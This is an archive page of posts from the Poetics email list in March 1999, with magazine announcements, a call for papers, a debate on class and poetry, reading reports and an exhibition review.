LOOKING FOR A GAPE'S NEST by Lawrence Upton & Bob Cobbing 0 86162 868 3 - Cobbing's variations on bridge that gap

All enquiries with s.a.e./ i.r.c. to New River Project, 89a Petherton Road, London N5 2QT

↑ Index

259. miekal and
30 Samples for Orchestra
Mon 22 Mar 1999

---

30 Samples for Orchestra
http://net22.com/qazingulaza/radio_caterpillar/thirtysamples/thirtysamples.html

(flash 3 required, it is not streaming so let it load to your computer before clicking anything)

miekal and

↑ Index

260. Poetics List

Biography and Film: A Special Issue of _Biography_ / Schultz

Mon 22 Mar 1999

---

this had to be reformatted a bit. Chris

---------- Original message (ID=7C1F5775) (110 lines) ----------
From: "Susan M. Schultz" <[redacted]>
Date: Sun, 21 Mar 1999 08:17:59 -1000

---------- Forwarded message ----------

A SPECIAL ISSUE: THE BIOPIC

The January 2000 issue of _Biography: An Interdisciplinary Quarterly_ will explore the biopic.

Guest editor Glenn Man is looking for papers which address the theoretical, generic, historical, cultural, or technical aspects of representing or telling lives in film or video--from Hollywood spectaculars to indie films, from short subjects to A & E Biographies. Interdisciplinary and multicultural approaches are particularly welcome.

Manuscripts should be between 2,500 and 7,500 words, though shorter and longer essays will be considered. Please submit two copies of any manuscript. Since _Biography_ has a double-blind submission policy, the author's name should not appear anywhere on either copy, but in the cover letter. Decisions about publication will be received within three months, and comments will be provided for all essays received. Consultation on manuscript ideas is welcomed. For more information, contact the general editor, Craig Howes, by email at [redacted] by telephone at [redacted] by fax at [redacted] or by mail at the Center for Biographical Research, University of Hawai'i, Honolulu, Hawai'i 96822.

DEADLINE for submissions: August 1, 1999.

Craig Howes
President, CELJ
Editor, _Biography_
Director, Center for Biographical Research Professor, Department of English 1733 Donaghho Road
University of Hawai'i at Manoa
Honolulu, Hawai'i 96822

Home Phone: [redacted]
Center Phone: [redacted]
Fax: [redacted]

Center Homepage: www2.hawaii.edu/~biograph
UH Journals Biography Homepage
www2.hawaii.edu/uhpress/Journals/BI/BIhome.html Council of Editors of Learned Journals Homepage: www.msu.edu/user/pod/celj

* * * * * * * * * *

↑ Index

261. Mark Prejsnar
what poetry's for
Mon 22 Mar 1999

"the question nobody seems to ever want to answer about there art: what is it for?: it's going to pay for my kids' college, it's going to get me out of the projects, it's going to save humanity/create a better world, I don't know I was bored and passing time, I'm going to prove I'm smarter/better/more educated/cooler than my dad/my brother/my mom/him/her/you"

the above is quoted from a post by James Perez.

I don't think poetry is for anything.

Adorno would say it reveals near-unbareable tensions and tears in the social/historical fabric, which exists "in" society but also permeates down into our subjectivities; Marcuse would say it points forward to the full realization, as an apprehendable utopia, of human possibility...

(the latter being ideas he probably partly takes from E. Bloch)

I think they're both right (in a partial way); but niether of these defines what poetry is for .... These are things it does

It's a basic defining human activity, and it makes at least as much sense to say that we exist in order to do it, as it does to fall into the delusion thinking that it "exists for something." It is not apprehendable in terms of function. It ain't a functional thing. (..it is more an activity than a thing, in fact, but that's another post...)

mark prejsanar

↑ Index

262. dbkk
Re: of Mothers & Daughters
Mon 22 Mar 1999

At 10:52 AM -0800 3/20/99, Laura Moriarty wrote:
>I don't think I said that I thought classes were breaking down - though god >knows I may have - but that experimental or innovative writing were becoming >somewhat meaningless terms, given the many kinds of work being published >under those general rubricks -- and that that was a good thing.

Laura,

Thanks for clarifying this and many good points.

When Cecil Giscombe gave his wonderful talk about race and nature at Small Press Traffic a couple of weeks ago, to which only TWO people came (thank you Lee Ann Brown and Renee Gladman) he said some insightful things about class during the question and period. He'd spoken during the talk more than once about being middle class--but also pointedly about living along the margins. I asked him to clarify that. The margin point was, he said, about writing and the realm of experimentation. He then talked about how the ability to play in the margins at ease (and I'm heavily paraphrasing here and probably getting it all wrong) is a function of class. He talked about the students in his classes, how working class students, both black and white, behaved with more of a hesitancy than middle class students. That playing in the margins when you're middle class, you're not risking everything, your whole being--that you have more of a support system to fall back on. Personally, I don't think those kind of dynamics ever totally get erased--regardless of who's publishing who, who works at what job.

The--everybody complains about "experimental" and "avant-garde"--why don't we just call it "arty"--arty poetry world defines itself as white middle class, and while there are serious and gratuitous attempts to expand that, people from other backgrounds are always within an outsider group that's playing against the white middle class center. How many pomo theory books have to be written before it's taken to heart--that nothing's really going to change until that center is redefined.

Dodie

↑ Index

263. Tom Orange shifts in modalities
Mon 22 Mar 1999

---

linda,

i want to pick up on yr lead regarding cultural poetics as a diagnostic tool for discerning shifts in modalities in/or language environments. i missed nancy's buffalo talk but caught her reading (along with kevin davies and deirdre kovac) in toronto -- write-up forthcoming.

i know nancy's current critical work engages with british cultural materialism, leavis thru birmingham school -- very useful right now, as perhaps such a return can yield new insights into where cult studs/poetics might fruitfully be taken. tho the term cultural poetics was popularized in literary study by stephen greenblatt in the early-mid 1980s, who in turn points to clifford geertz as inspiration, and who preferred the term in lieu of "new historicism."

john guillory gave a talk here at western a few weeks ago, wherein he offered a historical critique of cultural studies largely along the lines of what he called its object of disciplinary desire. basically: whether our critical modality flattens everything into text (deconstruction as neo-high-formalism) or cultural artifact (cult studs), there remains this ineluctable hermeneutic residue as i call it, i.e. our task remains one of interpretation regardless of what we call it. i sort of dismally envisioned this limestone quarry filled with critics pounding their heads against the wall of meaning hoping that someone will simply notice them bleeding. a heavy critique with, unfortunately, little payoff: i asked guillory what we do with this hermeneutic residue, and his suggestion was that cult studs shift its modality away from the artifact itself and towards the mediation itself, between the artefact and history, economics, politics, etc. easy to assert, hard to do no doubt.

point being: i think you and (or summarizing) nancy are on the right track, and the way that different language environments mediate material conditions is where we should be trying to look. and i'm sympathetic to sianne's efforts on this front to articulate a poetics of disgust. i think the essay is quite capable of being misread, but upon rereading it carefully i found much more wrong with it than i originally had. (save this for another time.) suffice it to say that as a highly localized and provisional tactic/ environment, i think disgust is useful, but that we need at the same time to identify a whole range of grammars: of abhorrence aversion loathing repugnance repulsion revulsion. and that unless disgust can start to help us identify and articulate other modalities such as these, it remains unabashedly singular, local, limited. which is, of course, a good, and perhaps the only, place to start.

tom orange
london, ontario

↑ Index

264. Tom Orange
shaw/davies/kovac in toronto
Mon 22 Mar 1999

---

nancy shaw, kevin davies and deirdre kovac read from their work at the redhead gallery (96 spadina ave, 8th fl) in toronto this past thursday evening.

they were introduced by peter jaeger, who coordinated the event. this was my first time hearing all of them, though i was somewhat familiar with their work only through peridoicals. hot on the heels of nancy's and kevin's reading in buffalo the previous night, and imbued with the sense of comraderie found only through several hours of being on the road in the close quarters of scott pound's ford fiesta, the three shared their remarkable talents and personalities with us well into the next day.

nancy started off with portions of "flags," which can be found interspersed throughout the other works found in jeff derksen's recently-edited issue of open letter. as she moved into other sequences such as "torch songs" and "anthems" -- the latter of which, i believe, nancy apologized for as being somewhat "didactic" -- i found the nervous edge of nancy's delivery to persist: it was curiously both compelling and faltering, as if caught up in its own forward pace. i found it distracting for a stretch but then found myself becoming acclimated to this sort of arhythmia. and by the time nancy finished off with a set of new work, in which the didactic had become more enmeshed in the more lyric mode of "flags," the delivery's edge for me had become a perfectly engaging counterpart to the text.

after a short break, kevin davies took the floor, calmly stacked his loose sheets on the right side of the table, picked them up one by one, read them and placed them face down in a pile on the left, with next to no prefacing or commentary and only an intermittant announcement of a sequence's title. the humor that is so vital in kevin's work was only reinforced by the deadpan earnestness of his delivery. at times he studied the page from which he was reading, as if he too was puzzled or struck by what they contained, only to return them to their proper pile with the others. the energy in the room was infectious, with each listener alternately giving in to the sustained need to let out a guffaw or cackle.

another short break and deirdre kovac was introduced. known to listeners primarily as a co-editor of the journal big allis, her work was largely unfamiliar to us, tho by the time she was finished there was a clear need and desire to see and hear more. deirdre puts little inflection or emphasis into her delivery, and it really doesn't need it because her words take on a music of their own. her work has a marvelously complex texture of interweaving and reoccuring sound patterns that moved near the threshhold of sense. her vocabulary was exotic, even lush, and at times became atomized and then recombined into a rich sonic wash. the bulk of the texts were from her manuscript called mannerism, which needs to find a publisher at once.

special notice also should go to deirdre for maintaining utmost poise after toronto luminary john barlow, upon arriving late and trying to take a seat inconspicuously in the rear of the gallery, ended up taking down with his backpack not one but two display cases mounted to the wall and containing sculptures. kevin had presaged just such an occurance and felt remiss in not carrying out some pre-emptive measures. also in attendance were christian bok, stephen cain, karen mac cormack, steve mccaffery, jenifer papparro, andrew patterson, scott pound, and darren wershler-henry.

post-reading festivities ensued at the cameron house on queen street west and carried on well into thursday evening. on friday morning we met for a leisurely brunch at the lakeview diner on dundas and ossington. this was followed by a visit to coach house press, where darren gave a tour and offered merchandise. scott then loaned us his car and peter, christian, and nancy and i took kevin and deirdre to the airport shuttle. we had a few hours to kill before nancy's train left, so peter took us on a whirlwind tour of some other toronto galleries, including the 401 richmond complex, mercer union, and art metropole (the best place for artists' books this side of printed matter in soho).

as peter departs for a trip to england shortly, we look forward to the renewal of the redhead gallery reading series, to which we hope that broken sculptures do not form an insurmountable deterrant.

tom orange
london, ontario

↑ Index

265. P.Standard Schaefer
NEW RHIZOME
Mon 22 Mar 1999

Rhizome 3 is finally here.

This issue focuses on longer selections of work.

Poetry by: Jen Hofer, Tracy Grinnel, Emily Grossman, Adriano Spatola (Italy), Annie Le Brun (France), Juan Luis Martinez (Argentina), Monica Nepote (Mexico), Ray DiPalma, Gwyn McVay, Oscarine Bsquet (France), Joe Ross, Dennis Phillips, Chris Stroffolino, George Albon, Carmen Lenero (Mexico), Paul Hoover, Luigi Ballerini (Italy), Martha Ronk, Bob Crosson, Cathy Wagner, Garrett Caples, Pascallee Monnier (France), Elio Pagliarani (Italy), Robert Hale, Franklin Bruno, Cole Swensen, Jena Osman, Mateo Goyocolea (Argentina), Keith Walddrop, Paul Vangelisti, Guy Bennett, Camille Guthrie and Mohammed Dibb (Algeria).

Plus, many reviews and essays (by Jacques Debrot, Robert Hale, Summi Kaipa, Franklin Bruno, Patrick Pritchett and others).

Copies are available for $8.50 Quite a bargain for 231 pages of reviews, essays, poetry and so forth.

Please write checks to: STANDARD SCHAEFER (not Rhizome)

366 S. Mentor Ave. #108
Pasadena, CA 91106

↑ Index

266. Billy Little
Re: Fwd: Let's do the Modernism!
Mon 22 Mar 1999

---

you should have heard Duncan McNaughton at Capilano College the other night, talking about the mysteries, don't explain them to me please, be the mystery, let the mystery occupy you, if you're lucky or un you practice the mysteries, they reveal you. duncan is one of the vital poets, a partofspeach accelerator, as we needed to read charles olson with it or not we need to read mcnaughton he's pitchin fastballs and curveballs and knucklers and not a few spitballs he rePresents the elemental forces, he washes your window with a conjunction, his form is like the fogs, he permeates, a cloud of understanding, knew dewds drewds, like a flyfisher he gets you on the way back, like a boomerang carrying your brain bang back to your cranium loverboys, blistering lips blips ript against unwrought stone in Cyprus not her occupying you. geography/geology occupying you, natural history get with it sung loud duende propels compells soupsong it's not the aere its the aether McNaughton is it, he's got it, he's with it, get his especially if that's all you can afford, i.e., can't afford not to...tomorrows talk today.

billy the millionaires' buddhist little

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

267. Billy Little norma cole
Mon 22 Mar 1999

---

she plays your brain like a banjo like an orchestra
i've been rereading for the fourth or fifth time Desire and its Double

these songs delicious on the tongue delirium she carries forward the san francisco tradition of lean precision like Spicer, like Josephine Miles, like George Stanley, she makes sense, like whalen, in the sense of seventh sense, sense you never want to prove, or deduce, accept a very offhand or matter of fact projective verse at its best instanter phanopoeia, logopoeia and melopoeia full flame in this classy humble publication of instress a hymnbook of "sentiences" she performed a weekend finale for the KSW several weeks back i feel remiss at not reporting on same dazzling matteroffactness short reading work in progress Spinoza in her Youth, virtuosity without encore, her redelivered Oppen Lecture the Poetics of Vertigo the following day brought us the less secure more professional Cole still incisive but more crossed tees and dotted eyes less flight more lift more hydraulics i prefer her singing, her original voice, her ear her ghostly accuracy, her spare succulent syntacticks, do they put duende in the drinking water in san francisco:

green ribbons all untied, the other's knots, the other's sky the stone or plane beyond her shoulder, this glow around her head the less distinct profile of a knotted rope, the bloody knot-what is euphoria?-the pictured events cut a star

to the size of your hand
framing the flowers of diction, division, decision, the flags
"along the way i managed to escape"

-for Ruth Singer <should be italicized as should the phrase
...cut a star

to the size of your hand>

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

268. Margie Cronin
Re: Announcing Jacket # 4
Mon 22 Mar 1999

David Kelly (of the poets union) will launch MTC Cronin's latest collection of poetry - "Everything Holy" (Balcones International press, usa)- at the rose hotel (corner of rose and cleveland streets, chippendale) on sunday 11 april at 3pm (it's free). (if anyone can't make it the book is available for $15 from the author at 108 chelmsford st, newtown, nsw, 2042; ph: 02 9550 2918; or on amazon.com).

Her recent australian collection - the world beyond the fig (five islands press) is also available for $13 from the publishers or the author.

At 15:37 30/07/98 +1000, you wrote:
>Jacket magazine is a literary quarterly free on the Internet, edited from >Sydney Australia by poet John Tranter. Issue # 4 is now fully fitted and >stitched up, at this URL:
>
> http://www.jacket.zip.com.au/jacket04/index04.html
>
>Announcing Jacket’s first QUIZ, with real prizes!
>
>With a gallery of sparkling poems by :
>
>Adam Aitken, Charles Alexander and Sheila Murphy - a collaboration, Gary >Catalano, Maxine Chernoff, Bernard Cohen, M.T.C.Cronin, Elaine Equi, Coral >Hull, David Lehman, Tony Lopez, Rod Mengham, Ian Patterson, Roger Pellett, >Gig Ryan, Keston Sutherland, and Robert Vandermolen.
>
>Articles to knock your socks off:
>
>David Lehman - The Questions of Postmodernism, >Eliot Weinberger : on the strange ghosts of Ísland, >Caddel and Quartermain : OTHER British and Irish Poetry since 1970, >Forrest Gander - review of Yasusada : DOUBLED FLOWERING,
>A peculiar and perspicacious Portuguese perspective of the 1998 Cambridge >(England) Conference of Contemporary Poetry, >H.M.Enzensberger's "KIOSK" reviewed by Lawrence Joseph,
>Noel King interviews Pete Ayrton, publisher of Serpent's Tail books, >Mr Rubenking's "BREAKDOWN" - computers and writing (with a REAL AUDIO >recording of ROBOT POET Joy H.Breshan reading a computer-generated poem in >the mode of Mr Ashbery, and John Tranter’s “Carousel”, a computer-assisted >prose story),

>Tom Clark's "White Thought" reviewed by Dale Smith,
>Photography - art, fine art, or prostitution?,
>Pet of the Month - the MEERKAT (very handy for poets - find out why), >Great Moments in Literature # 13 - Kleist’s TWELVE-VOLUME OPUS reduced to >haiku (!) ,
>Dangerous Liaisons # 91 - Jo and Meg in Mexico.
>
>. . . and, as usual, a lather of photographs and other visuals.
>
>Drop by, try the fit of the Jacket, and if you like it, tell your friends!
>
> (I understand that you may not wish to receive these notices.
> (If so, please reply to this email to that effect, and > (I'll take your name off the mailing list pronto. [J.T.]
>
> from
> John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
> tel ([redacted] fax ([redacted]
> http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
> Editor, Jacket magazine: http://www.jacket.zip.com.au
>
>

↑ Index

269. P.Standard Schaefer

Carl Martin

Mon 22 Mar 1999

I just came across the lovely new book from Dalkey Archive and am sort of baffled that I'd never seen Carl Martin's work before. Who is he? Does anyone know how I could locate him?

Thanks,

Standard

↑ Index

270. Don Byrd
Renga
Tue 23 Mar 1999

Some time back--my sense of chronology is never too good-- there was a renga project on the net. I think I may have actually contributed to it, but most of the details have slipped my mind. Does any one remember it? Know who organized it? Know if it was archived anywhere?

Best,

Don Byrd

↑ Index

271. George Bowering
Re: of class
Tue 23 Mar 1999

I like to think that the question of class in writing has to do with the argument of the writing, not the place where the writer of the writing was born.

That is to say, my favourite working class writer from the US was and is Douglas Woolf, but you know, his parents were pretty comfortable in the NE. And Doug wrote about the west, mainly, too. So I would not call him a middle class NE writer.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

272. Grant Jenkins
Re: gender class poetics poetry
Tue 23 Mar 1999

Grant Jenkins here. Even though I am a habitual lurker, I'd like to weigh in on the class discussion by responding to Mark Prejsnar's post.

I think this interrelation that Mark talks about between the personal and the political is very important, especially with Susan Howe. One simply has to read her statements on poetics or her introduction to _The Europe of Trusts_ to see how she views the relationship of her self/poetry to history.

But, as others have already suggested on this list, there's an aspect of class, economics that is beyond the author's intentions. This goes for both activism and autobiography. Class pressures and situations condition every aspect of a writer as well as his or her relationship to culture, community, and history. Howe's upper-middle class upbringing in the household of a Harvard University professor as well as her marriage to a famous sculptor--just to name 2 of many many factors--provided her with many economic/social opportunities (and problems) that she does not incorporate consciously into her work.

Furthermore, there is no necessary or predetermined relation between class and poetic production. The meaning of those pressures and how they shape a life/work is a matter of careful study and analysis of particular situations.

I just think the intent angle in this discussion needs to be discussed further. And while were at it, perhaps we could get some definitions of "class," as someone else suggested.

Grant

↑ Index

273. Lowther,John
Re: what poetry's for
Tue 23 Mar 1999

---

a basic defining human activity

as much sense
to say we exist
in order to do it,
as it does delusion
that it "exists for something."

not apprehendable in terms of function
ain't a functional thing

(..it is more an activity than a thing, in fact, but that's another post...)

said mark prejsanar

sonar
is no marking of the sky

what is poetry for ?

the object/process bit rears its head (..it is more an activity than a thing, in fact

this is another post...)
says the interventionist

i am entertained by the suspicion that 'poetry'
as category term
is too something leads us down dark pathways toward definitions that seem fixed as in the price of fixity is unintelligibility

mark says
        it's a basic defining human activity

and i want to say it cd be but that this sounds apologetic eulogistic even [taking my terms from Buchler
 who i don't even like too much]

i question how much utility there is in posing poetry as this primal human attribute
as it's too easy
to imagine there being no poetry at all

mark further then he does etxt as i do revise;
        as much sense
        to say we exist
        in order to do it,
        as it does delusion
        that it "exists for something."

yes
yes me up and down to this unless
"exists for nothing" is not apprehendable in terms of function

        ain't a functional thing

because i think (doesn't 'mean' i am)
but

cdn't it be cdn't, not 'poetry'
but a poem
be a functional thing
i'm trying to do that now and then others are too i know examples etc

that 'resolution of art object and art process' piece

poem as 'thought experiment'

?

)L

↑ Index

274. Joe Amato/Kass Fleisher
Re: gender class poetics poetry
Tue 23 Mar 1999

---

here's a really crude class distinction, which i offer w/o apology:

there's nothing i do re which money doesn't matter...

i know it's horrible to admit to this---but the best way to get me going is to start talking about how you needed to do this, so you did it... and how you needed to do that, so you did it... and even, you needed to do this and that, and so you hunted out the best buy---and it was all so very difficult...

b/c in the end, for me, if you keep talking about what you needed to do and ultimately did, why then you still up and did it...

how's about we talk about what YOU COULDN'T DO... you just couldn't do... b/c you didn't have the cash and.or couldn't afford the credit... or b/c you couldn't leave your family behind, say...

i can recall a truly aggravating conversation i had once with someone who kept insisting that i shoulda spent a semester abroad as an undergrad... i kept saying "but i couldn't" and s/he kept saying "but you should have"... of course here s/he was, standing in his/her parents' half-a-million dollar house, so advising, and feeling entitled to advise... and here i was, tongue-tied b/c i didn't feel like explaining the niceties of food stamps in those quarters, in these times...

so whilst i live these days, strictly speaking, in middle-class trappings, with upper-middle-class aspirations, i often worry and certainly react, strictly speaking, along working-class (or worse) coordinates (though it's fair to say i'm used to worrying and reacting so, so you might not notice)...

no, i don't think you need to hail from poverty to write meaningfully about poverty... it helps of course---but it's not a necessary or sufficient condition... at the same time, i DO think (e.g.) there are tons o artifacts out there that provoke in me an immediate class reaction, to the extent that i know (or think i know) that the creator(s) either didn't give a hoot about class, or wished to sidestep.avoid it...

alla that said: one of the initial obstructions to my immersion in more avant-garde (or whatever) writing (for me) was its apparent failure to respond to the immediacies of class i'd been confronted with for so many years... i can imagine mself reacting differently---e.g., seeing it as an escape from these more quotidian realities ... but it took me a long while to get over my resistance (as if i'll ever entirely get over it) and i still find appealing the sort of writing that works out of a rather raw engagement with said experiences---provided i don't get the sense the writer is copping a holier-than-___ stance and.or offering it all up as utterly "real" and w/o any fictive intervention... i.e., provided the writing encourages reading with brain intact (which latter is shorthand for all sortsa specifically textual practices that, or so i would hope, bring class/race/gender etc and their interrelations into focus)...

at the same time, owing to my white het male background i suppose (though this is only part of the picture of course), i was likely in a somewhat secure state, finally, to venture forth into less orthodox literary form...

all of which is to say that my experience as a teach accords very much with cecil g's (wish i coulda been in san fran to hear his talk, dammitall!---though i chewed over some of these issues with him here in chicago prior)... i have, i must add, also run into plenty of students who are not from the working classes, who have been educated (extremely thoroughly) to regard any but more orthodox writing much as they have been educated to regard the 60s... i.e., as an example of mere cultural self-indulgence and hypocrisy... this is as i see it a republican.centrist sentiment that seems to have successfully seeped through much of higher learning...

i would just want to be sure that we don't lay the burden of the class.aesthetic conjunction solely on the shoulders of the lower classes...

best,

joe

↑ Index

275. Jordan Davis
Delinquent Pages
Tue 23 Mar 1999

Beel (maz881) writ:

>to me it seems more important (now) to look for commonalities among different >groupings and try to create permeable groups, to seek out many to many >relationships.
>
>Bill Luoma

Why? This sets off my utopia-alarm. Except that I like venn diagrams too, and though I find I only understand new meanings when they overlap somewhere with what I already know or think about, I only go crazy for things that are completely different -- other other. Permeable group sounds like open to attack. Many to many sounds like Earl Gray which is to say the not my cup. I don't go to school so my reading is only two eyes, unsanctioned, and therefore independent but also subject to demands of time and motivation. What seems important to me now is not even that looking for commonalities but making the work, putting mine and others' work together for like or unlike, moving the work around in front of other eyes (and the ears! but we know that sense already), and being available to (being tolerant of!! without risking too much of the mental health) the unknown.

Whatsay?
J

↑ Index

276. WENDY KRAMER
Ray Johnson Review
Tue 23 Mar 1999

Thrill compels me again to say a little of what i've recently seen. A retrospective of the collagist and mail artist Ray Johnson closed last Sunday at the Whitney Museum, and i could cry like a toddler to make it come back and stay a little longer. Three and a half hours of a Thursday afternoon in those marvelous rooms wasn't nearly enough time in Ray Johnson's filial company.

The only things of his that i'd seen before this exhibit were a few items in the Jargon archive at the Poetry Collection in Buffalo, and the Black Mountain College Dossier series book #4 that came out a couple of years ago. This exhibit, then, gave me a bigger window to press my nose to: forty-five-odd years' worth of window, arranged chronologically (the exhibitors admitted that they'd set it up by time despite Ray Johnson's distrust of chronology, not to mention his antagonism towards museum exhibitions themselves. Still, hearkening back to an earlier List discussion over the value of archiving the avant-garde, the Ray Johnson exhibit was an example of such value to those artists/poets who, had it not been saved and later presented,would not have gotten to see the work at all. Moreover, it was a way to absorb at least some of the scope and continuity of Johnson's lifelong activity).

The exhibit began with some early paintings and collages; then, in the second room, it introduced Johnson's invention of the "moticos" (an anagram of the word"osmotic"). Like Schwitters's "merz" and Rauschenberg's "combine," Johnson's "moticos" is his term for his collage/assemblage work at that time (beginning sometime in the fifties). I was confused by the exhibit's description of what makes a moticos a moticos -- it seemed to have to do with a moticos being made of multiple kinds of material, including photographs, various kinds of paper, inks and washes, etc., but the collaging itself was clear: here was the beginning of a long and involved project of literal building and wordplay. Moving into the late 50s and into the 60s, the collages get chunky 3-d, with stacks of cardboard "tesserae" (a critic's term for Johnson's mosaic-like sanded, painted, and/or buffed blocks) abounding -- O, man after my own corrugated cardboard heart! oh joy! In "let it all hang out," the tesserae fell loosely into a pile towards the bottom of the piece. . . Lovely chaos!

It went on endlessly. There were portrait collages, which he created by drawing a subject's silhoutte and then making and re-making series of collages out of it, sometimes referring to different people than the ones he was supposedly portraying (it put me in mind of Gertrude Stein, of whom Johnson was a fan). In an accompanying videotaped interview with one of the portrait subjects, one man describes how Johnson came back, after tracing the man's silhouette, with 26 different resulting collages! Then, over the months that they were negotiating a selling price, Johnson mixed and matched and otherwise re-made several of the portraits.

There was a series of mail art made from Lucky Strike cigarette labels (happy sigh).

There was a "potato masher" series in one of the last rooms, lauding various people's mothers.

There was ephemera and mail art in glass tables throughout the exhibit. It was engrossing, and there was too little of it. There were documents from Johnson's New York Correspondance [sic] School, some of which described meeting activity and what everyone was wearing. There were homemade collage books. There was a letter from Joan Crawford thanking him for his fanmail. This little paragraph can't begin to cover it.

So many things for which i feel affinity. . . my personal faves then. First, affinity for his motifs:

Gertrude Stein, esp. when her head was inserted in the dollar bill where george washington normally is.

His wordplay, esp. in the series play on the word "ice" (both the Black Mountain book and the exhibit point out his preoccupation with the solid-liquid-gas states of changeable water), which became "lice" and "ire," of all things.

His use of the Jantzen swimming suit diver on a "zen" postcard.

A tuna fish label.

Marianne Moore. There was a series of collages based on her tri-corner hat. Also, there was another, earlier collage (reproduced in the Black Mountain College Dossier book) of her hat, with a big, open, diagrammatic mouth underneath, covering what would be her face.

Secondly, then, affinity for his methods:

Personal correspondence. His work is from one person to one other, often back and forth. The puns, jokes, context, and content have to do with the person to whom he is giving the collage. Such is the tender beauty of mail art and it's publicly intimate distribution system, the postal service.

Collaboration. Goes with the above. There was one piece in particular that was striking. A friend of his acquired multiple reproduction copies of the mona lisa. He sent one to Johnson. Sometime later, Johnson sent it back with a sort of rope coil on the face, as a play on something that was said or drawn (i can't remember which) in their accompanying letters.

Word-play. And not just of conventional words, as in the "ice" collages. Early on, Johnson drew and filled in glyphs from the contours of his individual moticos, which then made their way into later, further collages.

Continuation. His pieces are ongoing conversations. A pun or a theme moves through several incarnations. He destroys one collage (his own or that of a correspondent) to make another, and so on. The pieces aren't discrete.

Stacked cardboard. When i saw layers of cardboard glued together to get various depths, i jumped and scurried for joy. i read that he often used sandpaper to polish it and couldnt wait to get home and try it. i peered under the top layers, stared at the white paint coating each precarious column laughed and crammed my noggin with as much learning from his imagination as i could carry.

There was an engrossing video interview with Ray Johnson looping in one of the exhibition rooms. He had the most alluring, active pair of hands i've seen on an ostensibly non-lesbian person (he was gay). He kept gesturing about how he worked. He was wearing a pullover sweater. i wanted to hug him.

↑ Index

277. Eryque Gleason
Re: Renga
Tue 23 Mar 1999

---

don, i think it was list requirement at the time to participate or forever suffer the disdain of people who have more words than they know what to do with.

if i remember right, jordan davis and bill lluoma were among the most prlific renga-ers.

On Tue, 23 Mar 1999, Don Byrd wrote:

> Some time back--my sense of chronology is never too good-- > there was a renga project on the net. I think I may have actually contributed to it, but most of the details have slipped my mind. Does any one remember it? Know who organized it? Know if it was archived anywhere?
>
> Best,
>
> Don Byrd

↑ Index

278. Tom Beckett
Re: what poetry's for
Tue 23 Mar 1999

Mark,

I think poetry is _for_ _love_;that it is the fundamental science of emotional-epistemic investigation; & that it has more to do with questions than answers.

Tom Beckett

↑ Index

279. Grant Jenkins
Re: Renga
Tue 23 Mar 1999

> Some time back--my sense of chronology is never too good-- > there was a renga project on the net. I think I may have actually contributed to it, but most of the details have slipped my mind. Does any one remember it? Know who organized it? Know if it was archived anywhere?

> Best,
>
> Don Byrd

Don, There was a renga for Ginsberg after his death. Is that what you're thinking of? It was in the Fall of 97 (?), I think. Shouldn't it be archived in the Buffalo website? Grant

↑ Index

280. Mark Weiss
FYI--Academy of American Poets
Tue 23 Mar 1999

Here's an AP story that may be of interest to the group.

U.S. Academy of Poets Diversifies

By BETH J. HARPAZ

.c The Associated Press

NEW YORK (AP) -- All it took to shake up the Academy of American Poets were a few harsh words.

A year after it was criticized by two of its own as a bastion of white male elitism, the academy's board of chancellors is adding nine new members -- five of them female, two of them black and several of them known for their experimental styles.

``What we've set out to accomplish is to make this group more representative of the breadth and spectrum of poetry in America today,'' executive director Bill Wadsworth said Monday.

``The creaky rusty sound you're hearing now -- that's the gates of the academy of the future slowly opening,'' said Bob Holman, co-producer of the PBS series ``The United States of Poetry.''

Last fall, chancellors Carolyn Kizer and Maxine Kumin resigned to protest the board's lack of diversity. Wadsworth said their resignations and other criticisms prompted the changes.

The new members are Lucille Clifton, Robert Creeley, Louise Gluck, Yusef Komunyakaa, Heather McHugh, Michael Palmer, Adrienne Rich, Rosanna Warren and Charles Wright.

Ms. Clifton and Komunyakaa are black. Creeley and Palmer write in experimental styles.

Ms. Clifton was pleased at the diversity of the new board. ``It's lots of patches in a quilt -- all of them part of the American quilt,'' she said.

The new chancellors join John Ashbery, Jorie Graham, John Hollander, Richard Howard, Donald Justice, J.D. McClatchy, W.S. Merwin, Mark Strand and David Wagoner. All of them are white; Ms. Graham is the only woman.

``I'm delighted at the reorganization and I think it was worth all we went through in resigning, which was rather painful, although we had dozens of letters in support from all over the country, which was gratifying,'' said Ms. Kizer, who lives in Sonoma, Calif. ``The new group includes a couple of African-Americans who are distinguished poets, and that's a big step forward.''

Joseph Parisi, editor of Poetry magazine in Chicago, said: ``These are all people of great accomplishment. ... The reconstituted chancellorship is more representative of what's going on now.''

↑ Index

281. Andrew Rathmann
Re: Carl Martin
Tue 23 Mar 1999

Dear Standard:

I was surprised by Martin's book as well. Growing up in Winston-Salem, North Carolina, he was a regular at poetry and music events; I remember him giving some readings in the early 1980s. I assume that he still lives there. I don't think he works (though I'm not sure of this), and if information doesn't have him listed, you might try contacting him care of the English Department at Wake Forest University (I believe that he has taught some classes through them).

All the best,
Devin Johnston

^^^^^^^^^^^^^^^

Chicago Review
The University of Chicago
5801 South Kenwood Avenue
Chicago IL 60637
ph/fax: [redacted]
e-mail: [redacted]

↑ Index

282. P.Standard Schaefer
rhizome info
Tue 23 Mar 1999

For those of you who have asked, Rhizome is currently reading for the fourth issue and will be reading until July 15. So send your poems by then.

Of the utmost interest to us, however, is sharp reviews, essays, and translations. So if you have something to say about a book, please consider sending your review to us.

Books that I want reviewed include: M. Davidson's ARCADE, M. Bellen's TALES OF MURASAKI, L. Browns THE AGENCY OF WIND, the forthcoming Italian anthology by Sun & Moon Press, Carl Martin's GENII OVER SALZBURG, and the Hejinian/Scalapino collaboration SIGHT. Laura Moriarty's THE CASE, and Joan Retallack's HOW TO DO THINGS WITH WORDS.... ... .(A VERY PARTIAL LIST).

For translations, I'm sort of more interested in South Americans and Italians these days than the very well-represented French.

contact me either at [redacted] or at 366 S. Mentor Ave. #108, Pasadena, CA 91106.

↑ Index

283. Pete Neufeld
Re: gender class poetics poetry
Tue 23 Mar 1999

"Furthermore, there is no necessary or predetermined relation between class and poetic production. The meaning of those pressures and how they shape a life/work is a matter of careful study and analysis of particular situations."

